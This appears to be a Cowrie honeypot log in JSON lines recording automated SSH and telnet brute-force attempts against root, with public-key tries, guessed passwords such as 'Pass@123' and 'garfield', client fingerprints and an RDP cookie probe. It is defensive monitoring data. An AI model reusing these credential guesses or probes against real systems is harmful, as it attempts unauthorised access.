{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9a:8e:f1:c9:e4:c2:d9:84:2d:73:a3:55:f2:0b:9e:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQLXBw6K8gCeTPh97kM/+VJoC0VOSiRFp+hGDE9Lwb0TADpExdpK9pLY2bJ0i2CE+78el/xB3XRQm79HiLZEUViqwi6OgONU0gpJXygDSxJIgX1rNJObZXKKEziE9ajZi8W2EFB2U41GSdzxJPXf10RsABHbuFHXwOdSCh6RALjzEuxd4ItrQFhRbNHtcsmkwWsNo3Ztol5aHSjQjMtZLV1vrR16NEdj7uPRouh4fJ2mnA0BdsgRV0FoLvbV19U9lz/6DqrR3Fk3zK5GpjjSiCr+ONDZAVT6dzTJmVHvBf5WFktHwR91QMuZ+QBe4ed//Te+aTyAueH8AHQBlGD6VxbFiqRPOhNSfB/2ZEENUTngp/3zdb7Uo4jqNN1EwUwAKwZMQEMjTiJiB5HWosIzpJEJ7d5ldI9XXCn76AOtaI6zAtHDtnZW+Av1dVytiNwHEOLj3k1lYhfnQuB/TgceJDvvSemu+ylTH81Uy/G0NSvUC0+CgqX1rAA/rJrjTwdNp7KXKGWupC1Ls8Eu/jG98AF9WEGhtTwGfUcDMlnpxaie1fJ2CjuFf1BSYcMb3jmz7KzCUWpGQeTADqulMtMUujGEY1TqwiQM4I1nq8D8i/wz0uua1dHgif2mYeymfD5nO/H2ITgILN9bcVmy4DDbUEoX1oJ+sFzIKoVJLaHtc7hw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:33.071964Z","src_ip":"185.222.138.237","session":"119517a0951d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5e:f9:28:b6:1b:ca:44:0f:17:fc:3c:49:94:b3:a0:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTTp37ra0z/gmxGVmc16rQ+R37dJDCrB0Stv4+7IhZ4b21IXInl5eGfnDdFxQG7g6bfbuoRqdYARzPZ73Ky2ZFAKrtTDt3jqXQ2+A78eu0Nb7SqHM7kvMcyKLyjxeNxnoMvGyeW+WDYf4RtT3WPRvmkOAUbPgXhfRIe/698oDZ7VPdpejxxornyratkB1oGORViZKxW5Gw/92Ju7sKKfgLGq3OjWXXLbTvftKu1GVT8d39sQkuuUqvTswJW9/0R+MJcijfC1nAjMnQpJg90yBlV5Sih+j5hJJFj1sj6QWBdYYrmzprGbnio0dclW8ZVO57x0dViWAa/qtfr40C4j1P","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5e:f9:28:b6:1b:ca:44:0f:17:fc:3c:49:94:b3:a0:de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:33.186674Z","src_ip":"185.222.138.237","session":"119517a0951d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5e:f9:28:b6:1b:ca:44:0f:17:fc:3c:49:94:b3:a0:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTTp37ra0z/gmxGVmc16rQ+R37dJDCrB0Stv4+7IhZ4b21IXInl5eGfnDdFxQG7g6bfbuoRqdYARzPZ73Ky2ZFAKrtTDt3jqXQ2+A78eu0Nb7SqHM7kvMcyKLyjxeNxnoMvGyeW+WDYf4RtT3WPRvmkOAUbPgXhfRIe/698oDZ7VPdpejxxornyratkB1oGORViZKxW5Gw/92Ju7sKKfgLGq3OjWXXLbTvftKu1GVT8d39sQkuuUqvTswJW9/0R+MJcijfC1nAjMnQpJg90yBlV5Sih+j5hJJFj1sj6QWBdYYrmzprGbnio0dclW8ZVO57x0dViWAa/qtfr40C4j1P","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:33.190203Z","src_ip":"185.222.138.237","session":"119517a0951d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f9:83:99:b5:32:47:ef:18:a7:66:b0:f5:47:cc:b5:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCpNRdpGEtEWnnwmL84QG7jbbIoca+V9sMx+CXJMAHB/uCnuNuEuFKrVVFiIZiqBH8vk76gG91MJIFqz6AESTAAocT4/fkRXC8V2N+vn5MHC17QF/S87hAz4yqLWUd7OM8Spnk2G5IiTt9j/RezpyXTWFGNziqYQJZfauodegCC6ThmW6gRrNE8aRwBF+z6yXUAQmtBLtDUYVT6AudL4yGqtVQiPTEZldqqmtiQiBt+d5qXlkYBZBgyak6WQAX5Z35MYSQ9O2JobwYP06n7NQqE2COqEVmAH49z8Jq9SSfDHNjA0WVfvbYu0i0AzJ6CHekB+KEeeuZSeAckno/sE/laMziHN3OU4ZbaGnYY32pNjLq5pMt4U+0PiF3pBQUejoahrM8A4BQNIMywcPW9Qx6g5SG+uO5XtznWoJfQmsz8ii3L+XhJn3X0df50rRcJpM9sGOs26RLrrxttTqGlGd9eo4j157bpgjkvDD9RBPK3OGlra0ctLnYyNIkbbchJqW/I+HgWovjfAK2UkJDSkzgoIs7GNKvHMcwpV3IOaNNvR7IwHuu8IJ0z8L3q0UEN830nGQi15wWfKfmYvh51RF1F8IMhlYdwX1D8i/M1KMRIOEFE5jZlBnP/RAnyCqF1FtuVwgs2eXPx4q6+yHjY78R5K1kiZxHQNDycx6tbtUGrAQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f9:83:99:b5:32:47:ef:18:a7:66:b0:f5:47:cc:b5:f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:33.304231Z","src_ip":"185.222.138.237","session":"119517a0951d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f9:83:99:b5:32:47:ef:18:a7:66:b0:f5:47:cc:b5:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCpNRdpGEtEWnnwmL84QG7jbbIoca+V9sMx+CXJMAHB/uCnuNuEuFKrVVFiIZiqBH8vk76gG91MJIFqz6AESTAAocT4/fkRXC8V2N+vn5MHC17QF/S87hAz4yqLWUd7OM8Spnk2G5IiTt9j/RezpyXTWFGNziqYQJZfauodegCC6ThmW6gRrNE8aRwBF+z6yXUAQmtBLtDUYVT6AudL4yGqtVQiPTEZldqqmtiQiBt+d5qXlkYBZBgyak6WQAX5Z35MYSQ9O2JobwYP06n7NQqE2COqEVmAH49z8Jq9SSfDHNjA0WVfvbYu0i0AzJ6CHekB+KEeeuZSeAckno/sE/laMziHN3OU4ZbaGnYY32pNjLq5pMt4U+0PiF3pBQUejoahrM8A4BQNIMywcPW9Qx6g5SG+uO5XtznWoJfQmsz8ii3L+XhJn3X0df50rRcJpM9sGOs26RLrrxttTqGlGd9eo4j157bpgjkvDD9RBPK3OGlra0ctLnYyNIkbbchJqW/I+HgWovjfAK2UkJDSkzgoIs7GNKvHMcwpV3IOaNNvR7IwHuu8IJ0z8L3q0UEN830nGQi15wWfKfmYvh51RF1F8IMhlYdwX1D8i/M1KMRIOEFE5jZlBnP/RAnyCqF1FtuVwgs2eXPx4q6+yHjY78R5K1kiZxHQNDycx6tbtUGrAQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:33.308432Z","src_ip":"185.222.138.237","session":"119517a0951d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"66:7a:a4:69:a7:20:59:e9:e6:e9:52:51:08:4c:b2:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDhc3vgK2A5Ej4nkUGoICY55VFLqMsMpUWShbafy05sv86/gtrKfeUREJBL+tyhDN4bm1U1LccUt0OgIZcOgzRDJe3wWKXDM/4kB9VTH2VWMadEfXzGzd67UacyzIXinAbf+lqHt+Fn3IxXAeG6lPB7AqA09pf6yDuI5qv5Wr5aeOz1lKKWG2qeHmrpTXGzpxFVzqjjtJU70F1PF1mRsBIdJ5evN2pJxYnDfc6wYC+fZczGHs/soG3QSKAZ1vduGxH9OI/AnJ6PJehjr8off0DFLu96uuMVe/qQpoJi4IIDpSURhJfozunk7xMX+awjJFwjPfz/2YHpzy1OMixMtbU4M3KOQNbm3SKTucBUe2++EmSCwexB7WFN8vh4wTHx0yrrz2gwf1Rs0AC/S/tjTtnxWWSFbU+IyyZPenJfn9S4dtW9edq7sx2kL7KHhhhj79Vafe3oEsxCf5mrYEfIe21AZEVSU2kOaWeZ/E8Pkk+2nBEXxbXrw/6S2l9G55tjAFaJRXOMkrZc2IlswiWxD9gen+dqVFr6YADzjCwfKgbzjmTpTvnhlUv6H6Jo31uSIHuGBVb9bxV9jaFsWN6HWKy38EP1h47NULWmprWDkNNnq3lc4I7TT+U5xt78Oz20xg4DkJP4n+8Fbd0/fixRH4b78CbTZlF0IQqMj2aH/UQSdQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 66:7a:a4:69:a7:20:59:e9:e6:e9:52:51:08:4c:b2:71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:33.423470Z","src_ip":"185.222.138.237","session":"119517a0951d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"66:7a:a4:69:a7:20:59:e9:e6:e9:52:51:08:4c:b2:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDhc3vgK2A5Ej4nkUGoICY55VFLqMsMpUWShbafy05sv86/gtrKfeUREJBL+tyhDN4bm1U1LccUt0OgIZcOgzRDJe3wWKXDM/4kB9VTH2VWMadEfXzGzd67UacyzIXinAbf+lqHt+Fn3IxXAeG6lPB7AqA09pf6yDuI5qv5Wr5aeOz1lKKWG2qeHmrpTXGzpxFVzqjjtJU70F1PF1mRsBIdJ5evN2pJxYnDfc6wYC+fZczGHs/soG3QSKAZ1vduGxH9OI/AnJ6PJehjr8off0DFLu96uuMVe/qQpoJi4IIDpSURhJfozunk7xMX+awjJFwjPfz/2YHpzy1OMixMtbU4M3KOQNbm3SKTucBUe2++EmSCwexB7WFN8vh4wTHx0yrrz2gwf1Rs0AC/S/tjTtnxWWSFbU+IyyZPenJfn9S4dtW9edq7sx2kL7KHhhhj79Vafe3oEsxCf5mrYEfIe21AZEVSU2kOaWeZ/E8Pkk+2nBEXxbXrw/6S2l9G55tjAFaJRXOMkrZc2IlswiWxD9gen+dqVFr6YADzjCwfKgbzjmTpTvnhlUv6H6Jo31uSIHuGBVb9bxV9jaFsWN6HWKy38EP1h47NULWmprWDkNNnq3lc4I7TT+U5xt78Oz20xg4DkJP4n+8Fbd0/fixRH4b78CbTZlF0IQqMj2aH/UQSdQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:33.427257Z","src_ip":"185.222.138.237","session":"119517a0951d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:33.541611Z","src_ip":"185.222.138.237","session":"119517a0951d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":57509,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca9715371f67","protocol":"ssh","message":"New connection: 223.197.186.7:57509 (10.17.0.5:22) [session: ca9715371f67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:33.666919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:33.672764Z","src_ip":"223.197.186.7","session":"ca9715371f67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:33.902833Z","src_ip":"223.197.186.7","session":"ca9715371f67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ritmo","message":"login attempt [root/ritmo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:34.842594Z","src_ip":"223.197.186.7","session":"ca9715371f67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:36.058634Z","src_ip":"223.197.186.7","session":"ca9715371f67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33598,"dst_ip":"10.17.0.5","dst_port":23,"session":"35c359bfcff6","protocol":"telnet","message":"New connection: 152.42.224.71:33598 (10.17.0.5:23) [session: 35c359bfcff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:41.630369Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39076,"dst_ip":"10.17.0.5","dst_port":23,"session":"cee20c4e0f47","protocol":"telnet","message":"New connection: 152.42.224.71:39076 (10.17.0.5:23) [session: cee20c4e0f47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:52.197128Z"}
{"eventid":"cowrie.session.closed","duration":41.585060596466064,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:59.182900Z","src_ip":"152.42.224.71","session":"2ca622b4b5ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":73.20447874069214,"message":"Connection lost after 73 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:02.720456Z","src_ip":"152.42.224.71","session":"9db7f3955c71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":53247,"dst_ip":"159.203.135.109","dst_port":22,"session":"159a3061ca71","protocol":"ssh","message":"New connection: 167.172.81.52:53247 (159.203.135.109:22) [session: 159a3061ca71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:02.729285Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:02.803501Z","src_ip":"167.172.81.52","session":"159a3061ca71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:02.811551Z","src_ip":"167.172.81.52","session":"159a3061ca71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.20167350769043,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:06.575869Z","src_ip":"152.42.224.71","session":"ee59256e0edf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.159066915512085,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:06.924602Z","src_ip":"152.42.224.71","session":"f85db5bbdf00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.148.170","src_port":39094,"dst_ip":"10.17.0.5","dst_port":22,"session":"67258cf4d0e5","protocol":"ssh","message":"New connection: 43.133.148.170:39094 (10.17.0.5:22) [session: 67258cf4d0e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:07.287210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:07.292927Z","src_ip":"43.133.148.170","session":"67258cf4d0e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:07.556325Z","src_ip":"43.133.148.170","session":"67258cf4d0e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@123","message":"login attempt [root/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:08.633715Z","src_ip":"43.133.148.170","session":"67258cf4d0e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:09.899163Z","src_ip":"43.133.148.170","session":"67258cf4d0e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36602,"dst_ip":"10.17.0.5","dst_port":23,"session":"8924126b2dde","protocol":"telnet","message":"New connection: 152.42.224.71:36602 (10.17.0.5:23) [session: 8924126b2dde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:13.569191Z"}
{"eventid":"cowrie.session.closed","duration":21.67034602165222,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:13.867349Z","src_ip":"152.42.224.71","session":"cee20c4e0f47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":24273,"dst_ip":"10.17.0.5","dst_port":22,"session":"de3437522d47","protocol":"ssh","message":"New connection: 223.197.186.7:24273 (10.17.0.5:22) [session: de3437522d47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:17.299811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:17.305169Z","src_ip":"223.197.186.7","session":"de3437522d47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:17.536820Z","src_ip":"223.197.186.7","session":"de3437522d47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"garfield","message":"login attempt [root/garfield] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:18.449787Z","src_ip":"223.197.186.7","session":"de3437522d47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:19.666826Z","src_ip":"223.197.186.7","session":"de3437522d47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.98.60","src_port":54974,"dst_ip":"10.17.0.5","dst_port":22,"session":"01fc80dcda1b","protocol":"ssh","message":"New connection: 43.245.98.60:54974 (10.17.0.5:22) [session: 01fc80dcda1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:19.765024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:19.769936Z","src_ip":"43.245.98.60","session":"01fc80dcda1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:20.017994Z","src_ip":"43.245.98.60","session":"01fc80dcda1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hawk","message":"login attempt [root/hawk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:21.048402Z","src_ip":"43.245.98.60","session":"01fc80dcda1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.64574885368347,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:05:21.276178Z","src_ip":"152.42.224.71","session":"35c359bfcff6","protocol":"telnet"}
